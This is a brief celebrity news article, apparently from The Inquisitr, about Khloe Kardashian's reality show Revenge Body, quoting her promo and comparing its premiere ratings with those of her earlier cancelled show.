Having the last laugh

“Growing up, people called me the fat, funny sister. Until one day I started working out, eating right and putting myself first. On Revenge Body, I’ll be meeting people who are desperate to change their lives. I’m gonna pair them with my handpicked team of celebrity trainers, nutritionist and glam experts and when their transformation is complete, they’re going to get revenge on one person, someone who has hurt them the most,” Khloe said in a promo for the new reality show.

This is not Khloe’s first time in a solo effort, though. In 2016 she debuted a show called Kocktails with Khloe. It was however canceled shortly over poor ratings. In the premiere, only 347,000 viewers tuned in. Her new show Revenge Body did significantly better as it managed 630,000 viewers on its first episode.

[Featured Image by Alberto E. Rodriguez/Getty Images]

All Eyes Trained On The Trainer! Khloe Kardashian Toned Derriere On Display is an article from: The Inquisitr News


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